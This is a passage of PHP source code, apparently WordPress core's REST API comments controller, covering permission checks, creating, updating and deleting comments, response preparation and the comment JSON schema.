		if ( ! empty( $request['context'] ) && 'edit' === $request['context'] && ! current_user_can( 'moderate_comments' ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit comments.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$post = get_post( $comment->comment_post_ID );

		if ( ! $this->check_read_permission( $comment, $request ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to read this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( $post && ! $this->check_read_post_permission( $post, $request ) ) {
			return new WP_Error(
				'rest_cannot_read_post',
				__( 'Sorry, you are not allowed to read the post for this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function get_item( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		$data     = $this->prepare_item_for_response( $comment, $request );
		$response = rest_ensure_response( $data );

		return $response;
	}

	/**
	 * Checks if a given request has access to create a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		if ( ! is_user_logged_in() ) {
			if ( get_option( 'comment_registration' ) ) {
				return new WP_Error(
					'rest_comment_login_required',
					__( 'Sorry, you must be logged in to comment.' ),
					array( 'status' => 401 )
				);
			}

			/**
			 * Filters whether comments can be created via the REST API without authentication.
			 *
			 * Enables creating comments for anonymous users.
			 *
			 * @since 4.7.0
			 *
			 * @param bool $allow_anonymous Whether to allow anonymous comments to
			 *                              be created. Default `false`.
			 * @param WP_REST_Request $request Request used to generate the
			 *                                 response.
			 */
			$allow_anonymous = apply_filters( 'rest_allow_anonymous_comments', false, $request );

			if ( ! $allow_anonymous ) {
				return new WP_Error(
					'rest_comment_login_required',
					__( 'Sorry, you must be logged in to comment.' ),
					array( 'status' => 401 )
				);
			}
		}

		// Limit who can set comment `author`, `author_ip` or `status` to anything other than the default.
		if ( isset( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( 'moderate_comments' ) ) {
			return new WP_Error(
				'rest_comment_invalid_author',
				/* translators: %s: Request parameter. */
				sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'author' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( isset( $request['author_ip'] ) && ! current_user_can( 'moderate_comments' ) ) {
			if ( empty( $_SERVER['REMOTE_ADDR'] ) || $request['author_ip'] !== $_SERVER['REMOTE_ADDR'] ) {
				return new WP_Error(
					'rest_comment_invalid_author_ip',
					/* translators: %s: Request parameter. */
					sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'author_ip' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		if ( isset( $request['status'] ) && ! current_user_can( 'moderate_comments' ) ) {
			return new WP_Error(
				'rest_comment_invalid_status',
				/* translators: %s: Request parameter. */
				sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'status' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( empty( $request['post'] ) ) {
			return new WP_Error(
				'rest_comment_invalid_post_id',
				__( 'Sorry, you are not allowed to create this comment without a post.' ),
				array( 'status' => 403 )
			);
		}

		$post = get_post( (int) $request['post'] );

		if ( ! $post ) {
			return new WP_Error(
				'rest_comment_invalid_post_id',
				__( 'Sorry, you are not allowed to create this comment without a post.' ),
				array( 'status' => 403 )
			);
		}

		if ( 'draft' === $post->post_status ) {
			return new WP_Error(
				'rest_comment_draft_post',
				__( 'Sorry, you are not allowed to create a comment on this post.' ),
				array( 'status' => 403 )
			);
		}

		if ( 'trash' === $post->post_status ) {
			return new WP_Error(
				'rest_comment_trash_post',
				__( 'Sorry, you are not allowed to create a comment on this post.' ),
				array( 'status' => 403 )
			);
		}

		if ( ! $this->check_read_post_permission( $post, $request ) ) {
			return new WP_Error(
				'rest_cannot_read_post',
				__( 'Sorry, you are not allowed to read the post for this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! comments_open( $post->ID ) ) {
			return new WP_Error(
				'rest_comment_closed',
				__( 'Sorry, comments are closed for this item.' ),
				array( 'status' => 403 )
			);
		}

		return true;
	}

	/**
	 * Creates a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error(
				'rest_comment_exists',
				__( 'Cannot create existing comment.' ),
				array( 'status' => 400 )
			);
		}

		// Do not allow comments to be created with a non-default type.
		if ( ! empty( $request['type'] ) && 'comment' !== $request['type'] ) {
			return new WP_Error(
				'rest_invalid_comment_type',
				__( 'Cannot create a comment with that type.' ),
				array( 'status' => 400 )
			);
		}

		$prepared_comment = $this->prepare_item_for_database( $request );
		if ( is_wp_error( $prepared_comment ) ) {
			return $prepared_comment;
		}

		$prepared_comment['comment_type'] = 'comment';

		if ( ! isset( $prepared_comment['comment_content'] ) ) {
			$prepared_comment['comment_content'] = '';
		}

		if ( ! $this->check_is_comment_content_allowed( $prepared_comment ) ) {
			return new WP_Error(
				'rest_comment_content_invalid',
				__( 'Invalid comment content.' ),
				array( 'status' => 400 )
			);
		}

		// Setting remaining values before wp_insert_comment so we can use wp_allow_comment().
		if ( ! isset( $prepared_comment['comment_date_gmt'] ) ) {
			$prepared_comment['comment_date_gmt'] = current_time( 'mysql', true );
		}

		// Set author data if the user's logged in.
		$missing_author = empty( $prepared_comment['user_id'] )
			&& empty( $prepared_comment['comment_author'] )
			&& empty( $prepared_comment['comment_author_email'] )
			&& empty( $prepared_comment['comment_author_url'] );

		if ( is_user_logged_in() && $missing_author ) {
			$user = wp_get_current_user();

			$prepared_comment['user_id']              = $user->ID;
			$prepared_comment['comment_author']       = $user->display_name;
			$prepared_comment['comment_author_email'] = $user->user_email;
			$prepared_comment['comment_author_url']   = $user->user_url;
		}

		// Honor the discussion setting that requires a name and email address of the comment author.
		if ( get_option( 'require_name_email' ) ) {
			if ( empty( $prepared_comment['comment_author'] ) || empty( $prepared_comment['comment_author_email'] ) ) {
				return new WP_Error(
					'rest_comment_author_data_required',
					__( 'Creating a comment requires valid author name and email values.' ),
					array( 'status' => 400 )
				);
			}
		}

		if ( ! isset( $prepared_comment['comment_author_email'] ) ) {
			$prepared_comment['comment_author_email'] = '';
		}

		if ( ! isset( $prepared_comment['comment_author_url'] ) ) {
			$prepared_comment['comment_author_url'] = '';
		}

		if ( ! isset( $prepared_comment['comment_agent'] ) ) {
			$prepared_comment['comment_agent'] = '';
		}

		$check_comment_lengths = wp_check_comment_data_max_lengths( $prepared_comment );

		if ( is_wp_error( $check_comment_lengths ) ) {
			$error_code = $check_comment_lengths->get_error_code();
			return new WP_Error(
				$error_code,
				__( 'Comment field exceeds maximum length allowed.' ),
				array( 'status' => 400 )
			);
		}

		$prepared_comment['comment_approved'] = wp_allow_comment( $prepared_comment, true );

		if ( is_wp_error( $prepared_comment['comment_approved'] ) ) {
			$error_code    = $prepared_comment['comment_approved']->get_error_code();
			$error_message = $prepared_comment['comment_approved']->get_error_message();

			if ( 'comment_duplicate' === $error_code ) {
				return new WP_Error(
					$error_code,
					$error_message,
					array( 'status' => 409 )
				);
			}

			if ( 'comment_flood' === $error_code ) {
				return new WP_Error(
					$error_code,
					$error_message,
					array( 'status' => 400 )
				);
			}

			return $prepared_comment['comment_approved'];
		}

		/**
		 * Filters a comment before it is inserted via the REST API.
		 *
		 * Allows modification of the comment right before it is inserted via wp_insert_comment().
		 * Returning a WP_Error value from the filter will short-circuit insertion and allow
		 * skipping further processing.
		 *
		 * @since 4.7.0
		 * @since 4.8.0 `$prepared_comment` can now be a WP_Error to short-circuit insertion.
		 *
		 * @param array|WP_Error  $prepared_comment The prepared comment data for wp_insert_comment().
		 * @param WP_REST_Request $request          Request used to insert the comment.
		 */
		$prepared_comment = apply_filters( 'rest_pre_insert_comment', $prepared_comment, $request );
		if ( is_wp_error( $prepared_comment ) ) {
			return $prepared_comment;
		}

		$comment_id = wp_insert_comment( wp_filter_comment( wp_slash( (array) $prepared_comment ) ) );

		if ( ! $comment_id ) {
			return new WP_Error(
				'rest_comment_failed_create',
				__( 'Creating comment failed.' ),
				array( 'status' => 500 )
			);
		}

		if ( isset( $request['status'] ) ) {
			$this->handle_status_param( $request['status'], $comment_id );
		}

		$comment = get_comment( $comment_id );

		/**
		 * Fires after a comment is created or updated via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Comment      $comment  Inserted or updated comment object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a comment, false
		 *                                  when updating.
		 */
		do_action( 'rest_insert_comment', $comment, $request, true );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $comment_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $comment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$context = current_user_can( 'moderate_comments' ) ? 'edit' : 'view';
		$request->set_param( 'context', $context );

		/**
		 * Fires completely after a comment is created or updated via the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Comment      $comment  Inserted or updated comment object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a comment, false
		 *                                  when updating.
		 */
		do_action( 'rest_after_insert_comment', $comment, $request, true );

		$response = $this->prepare_item_for_response( $comment, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment_id ) ) );

		return $response;
	}

	/**
	 * Checks if a given REST request has access to update a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		if ( ! $this->check_edit_permission( $comment ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to edit this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function update_item( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		$id = $comment->comment_ID;

		if ( isset( $request['type'] ) && get_comment_type( $id ) !== $request['type'] ) {
			return new WP_Error(
				'rest_comment_invalid_type',
				__( 'Sorry, you are not allowed to change the comment type.' ),
				array( 'status' => 404 )
			);
		}

		$prepared_args = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_args ) ) {
			return $prepared_args;
		}

		if ( ! empty( $prepared_args['comment_post_ID'] ) ) {
			$post = get_post( $prepared_args['comment_post_ID'] );

			if ( empty( $post ) ) {
				return new WP_Error(
					'rest_comment_invalid_post_id',
					__( 'Invalid post ID.' ),
					array( 'status' => 403 )
				);
			}
		}

		if ( empty( $prepared_args ) && isset( $request['status'] ) ) {
			// Only the comment status is being changed.
			$change = $this->handle_status_param( $request['status'], $id );

			if ( ! $change ) {
				return new WP_Error(
					'rest_comment_failed_edit',
					__( 'Updating comment status failed.' ),
					array( 'status' => 500 )
				);
			}
		} elseif ( ! empty( $prepared_args ) ) {
			if ( is_wp_error( $prepared_args ) ) {
				return $prepared_args;
			}

			if ( isset( $prepared_args['comment_content'] ) && empty( $prepared_args['comment_content'] ) ) {
				return new WP_Error(
					'rest_comment_content_invalid',
					__( 'Invalid comment content.' ),
					array( 'status' => 400 )
				);
			}

			$prepared_args['comment_ID'] = $id;

			$check_comment_lengths = wp_check_comment_data_max_lengths( $prepared_args );

			if ( is_wp_error( $check_comment_lengths ) ) {
				$error_code = $check_comment_lengths->get_error_code();
				return new WP_Error(
					$error_code,
					__( 'Comment field exceeds maximum length allowed.' ),
					array( 'status' => 400 )
				);
			}

			$updated = wp_update_comment( wp_slash( (array) $prepared_args ), true );

			if ( is_wp_error( $updated ) ) {
				return new WP_Error(
					'rest_comment_failed_edit',
					__( 'Updating comment failed.' ),
					array( 'status' => 500 )
				);
			}

			if ( isset( $request['status'] ) ) {
				$this->handle_status_param( $request['status'], $id );
			}
		}

		$comment = get_comment( $id );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */
		do_action( 'rest_insert_comment', $comment, $request, false );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $comment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */
		do_action( 'rest_after_insert_comment', $comment, $request, false );

		$response = $this->prepare_item_for_response( $comment, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to delete a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		if ( ! $this->check_edit_permission( $comment ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}
		return true;
	}

	/**
	 * Deletes a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function delete_item( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		/**
		 * Filters whether a comment can be trashed via the REST API.
		 *
		 * Return false to disable trash support for the comment.
		 *
		 * @since 4.7.0
		 *
		 * @param bool       $supports_trash Whether the comment supports trashing.
		 * @param WP_Comment $comment        The comment object being considered for trashing support.
		 */
		$supports_trash = apply_filters( 'rest_comment_trashable', ( EMPTY_TRASH_DAYS > 0 ), $comment );

		$request->set_param( 'context', 'edit' );

		if ( $force ) {
			$previous = $this->prepare_item_for_response( $comment, $request );
			$result   = wp_delete_comment( $comment->comment_ID, true );
			$response = new WP_REST_Response();
			$response->set_data(
				array(
					'deleted'  => true,
					'previous' => $previous->get_data(),
				)
			);
		} else {
			// If this type doesn't support trashing, error out.
			if ( ! $supports_trash ) {
				return new WP_Error(
					'rest_trash_not_supported',
					/* translators: %s: force=true */
					sprintf( __( "The comment does not support trashing. Set '%s' to delete." ), 'force=true' ),
					array( 'status' => 501 )
				);
			}

			if ( 'trash' === $comment->comment_approved ) {
				return new WP_Error(
					'rest_already_trashed',
					__( 'The comment has already been trashed.' ),
					array( 'status' => 410 )
				);
			}

			$result   = wp_trash_comment( $comment->comment_ID );
			$comment  = get_comment( $comment->comment_ID );
			$response = $this->prepare_item_for_response( $comment, $request );
		}

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The comment cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		/**
		 * Fires after a comment is deleted via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Comment       $comment  The deleted comment data.
		 * @param WP_REST_Response $response The response returned from the API.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( 'rest_delete_comment', $comment, $response, $request );

		return $response;
	}

	/**
	 * Prepares a single comment output for response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$comment` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Comment      $item    Comment object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$comment = $item;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = (int) $comment->comment_ID;
		}

		if ( in_array( 'post', $fields, true ) ) {
			$data['post'] = (int) $comment->comment_post_ID;
		}

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $comment->comment_parent;
		}

		if ( in_array( 'author', $fields, true ) ) {
			$data['author'] = (int) $comment->user_id;
		}

		if ( in_array( 'author_name', $fields, true ) ) {
			$data['author_name'] = $comment->comment_author;
		}

		if ( in_array( 'author_email', $fields, true ) ) {
			$data['author_email'] = $comment->comment_author_email;
		}

		if ( in_array( 'author_url', $fields, true ) ) {
			$data['author_url'] = $comment->comment_author_url;
		}

		if ( in_array( 'author_ip', $fields, true ) ) {
			$data['author_ip'] = $comment->comment_author_IP;
		}

		if ( in_array( 'author_user_agent', $fields, true ) ) {
			$data['author_user_agent'] = $comment->comment_agent;
		}

		if ( in_array( 'date', $fields, true ) ) {
			$data['date'] = mysql_to_rfc3339( $comment->comment_date );
		}

		if ( in_array( 'date_gmt', $fields, true ) ) {
			$data['date_gmt'] = mysql_to_rfc3339( $comment->comment_date_gmt );
		}

		if ( in_array( 'content', $fields, true ) ) {
			$data['content'] = array(
				/** This filter is documented in wp-includes/comment-template.php */
				'rendered' => apply_filters( 'comment_text', $comment->comment_content, $comment, array() ),
				'raw'      => $comment->comment_content,
			);
		}

		if ( in_array( 'link', $fields, true ) ) {
			$data['link'] = get_comment_link( $comment );
		}

		if ( in_array( 'status', $fields, true ) ) {
			$data['status'] = $this->prepare_status_response( $comment->comment_approved );
		}

		if ( in_array( 'type', $fields, true ) ) {
			$data['type'] = get_comment_type( $comment->comment_ID );
		}

		if ( in_array( 'author_avatar_urls', $fields, true ) ) {
			$data['author_avatar_urls'] = rest_get_avatar_urls( $comment );
		}

		if ( in_array( 'meta', $fields, true ) ) {
			$data['meta'] = $this->meta->get_value( $comment->comment_ID, $request );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $comment ) );
		}

		/**
		 * Filters a comment returned from the REST API.
		 *
		 * Allows modification of the comment right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response  $response The response object.
		 * @param WP_Comment        $comment  The original comment object.
		 * @param WP_REST_Request   $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_comment', $response, $comment, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Comment $comment Comment object.
	 * @return array Links for the given comment.
	 */
	protected function prepare_links( $comment ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment->comment_ID ) ),
			),
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
		);

		if ( 0 !== (int) $comment->user_id ) {
			$links['author'] = array(
				'href'       => rest_url( 'wp/v2/users/' . $comment->user_id ),
				'embeddable' => true,
			);
		}

		if ( 0 !== (int) $comment->comment_post_ID ) {
			$post       = get_post( $comment->comment_post_ID );
			$post_route = rest_get_route_for_post( $post );

			if ( ! empty( $post->ID ) && $post_route ) {
				$links['up'] = array(
					'href'       => rest_url( $post_route ),
					'embeddable' => true,
					'post_type'  => $post->post_type,
				);
			}
		}

		if ( 0 !== (int) $comment->comment_parent ) {
			$links['in-reply-to'] = array(
				'href'       => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment->comment_parent ) ),
				'embeddable' => true,
			);
		}

		// Only grab one comment to verify the comment has children.
		$comment_children = $comment->get_children(
			array(
				'count'   => true,
				'orderby' => 'none',
			)
		);

		if ( ! empty( $comment_children ) ) {
			$args = array(
				'parent' => $comment->comment_ID,
			);

			$rest_url = add_query_arg( $args, rest_url( $this->namespace . '/' . $this->rest_base ) );

			$links['children'] = array(
				'href'       => $rest_url,
				'embeddable' => true,
			);
		}

		return $links;
	}

	/**
	 * Prepends internal property prefix to query parameters to match our response fields.
	 *
	 * @since 4.7.0
	 *
	 * @param string $query_param Query parameter.
	 * @return string The normalized query parameter.
	 */
	protected function normalize_query_param( $query_param ) {
		$prefix = 'comment_';

		switch ( $query_param ) {
			case 'id':
				$normalized = $prefix . 'ID';
				break;
			case 'post':
				$normalized = $prefix . 'post_ID';
				break;
			case 'parent':
				$normalized = $prefix . 'parent';
				break;
			case 'include':
				$normalized = 'comment__in';
				break;
			default:
				$normalized = $prefix . $query_param;
				break;
		}

		return $normalized;
	}

	/**
	 * Checks comment_approved to set comment status for single comment output.
	 *
	 * @since 4.7.0
	 *
	 * @param string|int $comment_approved comment status.
	 * @return string Comment status.
	 */
	protected function prepare_status_response( $comment_approved ) {

		switch ( $comment_approved ) {
			case 'hold':
			case '0':
				$status = 'hold';
				break;

			case 'approve':
			case '1':
				$status = 'approved';
				break;

			case 'spam':
			case 'trash':
			default:
				$status = $comment_approved;
				break;
		}

		return $status;
	}

	/**
	 * Prepares a single comment to be inserted into the database.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return array|WP_Error Prepared comment, otherwise WP_Error object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_comment = array();

		/*
		 * Allow the comment_content to be set via the 'content' or
		 * the 'content.raw' properties of the Request object.
		 */
		if ( isset( $request['content'] ) && is_string( $request['content'] ) ) {
			$prepared_comment['comment_content'] = trim( $request['content'] );
		} elseif ( isset( $request['content']['raw'] ) && is_string( $request['content']['raw'] ) ) {
			$prepared_comment['comment_content'] = trim( $request['content']['raw'] );
		}

		if ( isset( $request['post'] ) ) {
			$prepared_comment['comment_post_ID'] = (int) $request['post'];
		}

		if ( isset( $request['parent'] ) ) {
			$prepared_comment['comment_parent'] = $request['parent'];
		}

		if ( isset( $request['author'] ) ) {
			$user = new WP_User( $request['author'] );

			if ( $user->exists() ) {
				$prepared_comment['user_id']              = $user->ID;
				$prepared_comment['comment_author']       = $user->display_name;
				$prepared_comment['comment_author_email'] = $user->user_email;
				$prepared_comment['comment_author_url']   = $user->user_url;
			} else {
				return new WP_Error(
					'rest_comment_author_invalid',
					__( 'Invalid comment author ID.' ),
					array( 'status' => 400 )
				);
			}
		}

		if ( isset( $request['author_name'] ) ) {
			$prepared_comment['comment_author'] = $request['author_name'];
		}

		if ( isset( $request['author_email'] ) ) {
			$prepared_comment['comment_author_email'] = $request['author_email'];
		}

		if ( isset( $request['author_url'] ) ) {
			$prepared_comment['comment_author_url'] = $request['author_url'];
		}

		if ( isset( $request['author_ip'] ) && current_user_can( 'moderate_comments' ) ) {
			$prepared_comment['comment_author_IP'] = $request['author_ip'];
		} elseif ( ! empty( $_SERVER['REMOTE_ADDR'] ) && rest_is_ip_address( $_SERVER['REMOTE_ADDR'] ) ) {
			$prepared_comment['comment_author_IP'] = $_SERVER['REMOTE_ADDR'];
		} else {
			$prepared_comment['comment_author_IP'] = '127.0.0.1';
		}

		if ( ! empty( $request['author_user_agent'] ) ) {
			$prepared_comment['comment_agent'] = $request['author_user_agent'];
		} elseif ( $request->get_header( 'user_agent' ) ) {
			$prepared_comment['comment_agent'] = $request->get_header( 'user_agent' );
		}

		if ( ! empty( $request['date'] ) ) {
			$date_data = rest_get_date_with_gmt( $request['date'] );

			if ( ! empty( $date_data ) ) {
				list( $prepared_comment['comment_date'], $prepared_comment['comment_date_gmt'] ) = $date_data;
			}
		} elseif ( ! empty( $request['date_gmt'] ) ) {
			$date_data = rest_get_date_with_gmt( $request['date_gmt'], true );

			if ( ! empty( $date_data ) ) {
				list( $prepared_comment['comment_date'], $prepared_comment['comment_date_gmt'] ) = $date_data;
			}
		}

		/**
		 * Filters a comment added via the REST API after it is prepared for insertion into the database.
		 *
		 * Allows modification of the comment right after it is prepared for the database.
		 *
		 * @since 4.7.0
		 *
		 * @param array           $prepared_comment The prepared comment data for `wp_insert_comment`.
		 * @param WP_REST_Request $request          The current request.
		 */
		return apply_filters( 'rest_preprocess_comment', $prepared_comment, $request );
	}

	/**
	 * Retrieves the comment's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'comment',
			'type'       => 'object',
			'properties' => array(
				'id'                => array(
					'description' => __( 'Unique identifier for the comment.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'author'            => array(
					'description' => __( 'The ID of the user object, if author was a user.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'author_email'      => array(
					'description' => __( 'Email address for the comment author.' ),
					'type'        => 'string',
					'format'      => 'email',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'check_comment_author_email' ),
						'validate_callback' => null, // Skip built-in validation of 'email'.
					),
				),
				'author_ip'         => array(
					'description' => __( 'IP address for the comment author.' ),
					'type'        => 'string',
					'format'      => 'ip',
					'context'     => array( 'edit' ),
				),
				'author_name'       => array(
					'description' => __( 'Display name for the comment author.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'author_url'        => array(
					'description' => __( 'URL for the comment author.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'author_user_agent' => array(
					'description' => __( 'User agent for the comment author.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'content'           => array(
					'description' => __( 'The content for the comment.' ),
					'type'        => 'object',
					'context'     => array( 'view', 'edit', 'embed' ),
					'arg_options' => array(
						'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
						'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
					),
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'Content for the comment, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'edit' ),
						),
						'rendered' => array(
							'description' => __( 'HTML content for the comment, transformed for display.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
							'readonly'    => true,
						),
					),
				),
				'date'              => array(
					'description' => __( "The date the comment was published, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date_gmt'          => array(
					'description' => __( 'The date the comment was published, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'link'              => array(
					'description' => __( 'URL to the comment.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'parent'            => array(
					'description' => __( 'The ID for the parent of the comment.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'default'     => 0,
				),
				'post'              => array(
					'description' => __( 'The ID of the associated post object.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit' ),
					'default'     => 0,
				),
				'status'            => array(
					'description' => __( 'State of the comment.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_key',
					),
				),
				'type'              => array(
					'description' => __( 'Type of the comment.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		if ( get_option( 'show_avatars' ) ) {
			$avatar_properties = array();

			$avatar_sizes = rest_get_avatar_sizes();

			foreach ( $avatar_sizes as $size ) {
				$avatar_properties[ $size ] = array(
					/* translators: %d: Avatar image size in pixels. */
					'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
				);
			}

			$schema['properties']['author_avatar_urls'] = array(
				'description' => __( 'Avatar URLs for the comment author.' ),
				'type'        => 'object',
				'context'     => array( 'view', 'edit', 'embed' ),
				'readonly'    => true,
				'properties'  => $avatar_properties,
			);
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Comments collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['after'] = array(
			'description' => __( 'Limit response to comments published after a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['author'] = array(
